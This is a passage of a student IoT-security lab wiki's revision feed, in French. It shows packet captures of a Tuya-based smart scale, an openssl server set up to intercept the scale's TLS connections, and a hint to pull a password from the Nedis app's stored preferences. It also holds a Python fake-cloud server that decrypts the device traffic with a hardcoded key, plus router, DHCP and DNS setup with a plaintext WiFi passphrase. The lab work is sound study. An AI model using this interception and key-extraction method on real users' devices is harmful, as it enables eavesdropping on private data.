...&lt;br /&gt;
i..z]R0.~....`...l.......&lt;br /&gt;
12:36:49.523505 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [.], ack 1, win 4380, length 0&lt;br /&gt;
E..(......O0..&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P........a3.tu&lt;br /&gt;
12:36:49.527055 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [P.], seq 1:68, ack 1, win 4380, length 67&lt;br /&gt;
E..k......N...&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P...G?......&amp;gt;...:..BAohBAohbmd6aG91IFR1eVjaG5vbG9SB........................&lt;br /&gt;
12:36:49.527081 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [.], ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@..X..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0......P...l...&lt;br /&gt;
12:36:49.527462 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [P.], seq 1:8, ack 68, win 64173, length 7&lt;br /&gt;
E../..@.@..P..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0......P...l.........(&lt;br /&gt;
12:36:49.527530 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [F.], seq 8, ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@..V..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0......P...l...&lt;br /&gt;
12:36:49.569636 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [.], ack 8, win 4373, length 0&lt;br /&gt;
E..(......O...&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P..........C.@&lt;br /&gt;
12:36:49.574893 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [R.], seq 68, ack 8, win 4380, length 0&lt;br /&gt;
E..(......O-..&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P..........&lt;br /&gt;
..&lt;br /&gt;
12:36:50.310055 ARP, Request who-has 172.16.10.105 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
i........ ....&amp;gt;....&lt;br /&gt;
12:36:53.526624 IP 172.16.10.105.48314 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6547, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O&amp;amp;..&lt;br /&gt;
i..&lt;br /&gt;
...&amp;quot;.........`...!|........&lt;br /&gt;
12:36:53.526669 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.48314: Flags [R.], seq 0, ack 6548, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;...........P...JA..&lt;br /&gt;
12:36:54.536817 IP 172.16.10.105.44185 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6567, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O%..&lt;br /&gt;
i..&lt;br /&gt;
...&amp;quot;.........`...1.........&lt;br /&gt;
12:36:54.536835 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.44185: Flags [R.], seq 0, ack 6568, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;...........P...ZN..&lt;br /&gt;
12:36:55.545631 IP 172.16.10.105.26626 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6589, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O$..&lt;br /&gt;
i..&lt;br /&gt;
.h.&amp;quot;.........`...v&lt;br /&gt;
........&lt;br /&gt;
12:36:55.545649 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.26626: Flags [R.], seq 0, ack 6590, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.h.........P.......&lt;br /&gt;
12:36:56.554680 IP 172.16.10.105.16244 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6611, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O#..&lt;br /&gt;
i..&lt;br /&gt;
.?t&amp;quot;.........`.............&lt;br /&gt;
12:36:56.554698 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.16244: Flags [R.], seq 0, ack 6612, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.?t........P....G..&lt;br /&gt;
^C&lt;br /&gt;
57 packets captured&lt;br /&gt;
57 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;port 8886 chez tuya ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# openssl s_server -accept 8886 -cert /etc/ssl/apache/ca.crt -key /etc/ssl/apache/ca.key -debug&lt;br /&gt;
Using default temp DH parameters&lt;br /&gt;
ACCEPT&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c1930 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 00 00 00 00   d6aG91IFR1eV....&lt;br /&gt;
0020 - 00 00 00 00 00 00 00 00-04 00 ae 00 ff 01 00 00   ................&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 00   ...:..BAohBAohb.&lt;br /&gt;
0010 - 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................&lt;br /&gt;
0020 - 00 00 00 00 00 00 00 00-04 00 ae 00 ff 01 00 00   ................&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c1930 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 00 00 00 00-00 00 00 00 00 00 00 00   d6aG............&lt;br /&gt;
0020 - 00 00 00 00 00 00 00 00-04 00 ae 00 ff 01 00 00   ................&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c1930 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;trouver un mdp dans l'appli nedis /data/data/com.nedis.smartlife/shared_prefs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
decouverte de tinytuya : https://github.com/jasonacox/tinytuya&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
import tinytuya&lt;br /&gt;
import json&lt;br /&gt;
&lt;br /&gt;
LOCAL_KEY = '674d29fb978a1705' &lt;br /&gt;
&lt;br /&gt;
IP_BALANCE = '172.16.10.105'&lt;br /&gt;
&lt;br /&gt;
print(f&amp;quot;[*] Démarrage du Faux Cloud Tuya...&amp;quot;)&lt;br /&gt;
print(f&amp;quot;[*] Clé utilisée : {LOCAL_KEY}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
server_socket.bind(('0.0.0.0', 8886))&lt;br /&gt;
server_socket.listen(1)&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;[*] En attente de la balance sur le port 8886...&amp;quot;)&lt;br /&gt;
print(&amp;quot;[*] Monte sur la balance maintenant !&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
while True:&lt;br /&gt;
    try:&lt;br /&gt;
        client, addr = server_socket.accept()&lt;br /&gt;
        print(f&amp;quot;\n[+] Connexion reçue de {addr[0]} !&amp;quot;)&lt;br /&gt;
        &lt;br /&gt;
        data = client.recv(4096)&lt;br /&gt;
        &lt;br /&gt;
        if data:&lt;br /&gt;
            print(f&amp;quot;[i] {len(data)} octets reçus (chiffrés). Tentative de décodage...&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
            try:&lt;br /&gt;
                d = tinytuya.OutletDevice('DUMMY_ID', IP_BALANCE, LOCAL_KEY)&lt;br /&gt;
                d.set_version(3.3) # Version standard WiFi&lt;br /&gt;
                &lt;br /&gt;
                decrypted = d._decode_payload(data)&lt;br /&gt;
                &lt;br /&gt;
                if decrypted:&lt;br /&gt;
                    print(&amp;quot;\n&amp;quot; + &amp;quot;=&amp;quot;*40)&lt;br /&gt;
                    print(&amp;quot;donnés :&amp;quot;)&lt;br /&gt;
                    print(&amp;quot;=&amp;quot;*40)&lt;br /&gt;
                    parsed = json.loads(decrypted)&lt;br /&gt;
                    print(json.dumps(parsed, indent=4))&lt;br /&gt;
                    &lt;br /&gt;
                    if 'dps' in parsed:&lt;br /&gt;
                        print(&amp;quot;\nVALEURS :&amp;quot;)&lt;br /&gt;
                        for k, v in parsed['dps'].items():&lt;br /&gt;
                            print(f&amp;quot;- Data Point {k} : {v}&amp;quot;)&lt;br /&gt;
                    print(&amp;quot;=&amp;quot;*40)&lt;br /&gt;
                else:&lt;br /&gt;
                    print(&amp;quot;[-] Échec du décryptage (Format inconnu ou clé incorrecte pour ce paquet)&amp;quot;)&lt;br /&gt;
                    &lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;[-] Erreur de décodage : {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        client.close()&lt;br /&gt;
        &lt;br /&gt;
    except KeyboardInterrupt:&lt;br /&gt;
        print(&amp;quot;\nArrêt.&amp;quot;)&lt;br /&gt;
        break&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;Erreur serveur : {e}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10917</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10917"/>
		<updated>2025-12-11T15:26:10Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Redirection par DNS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
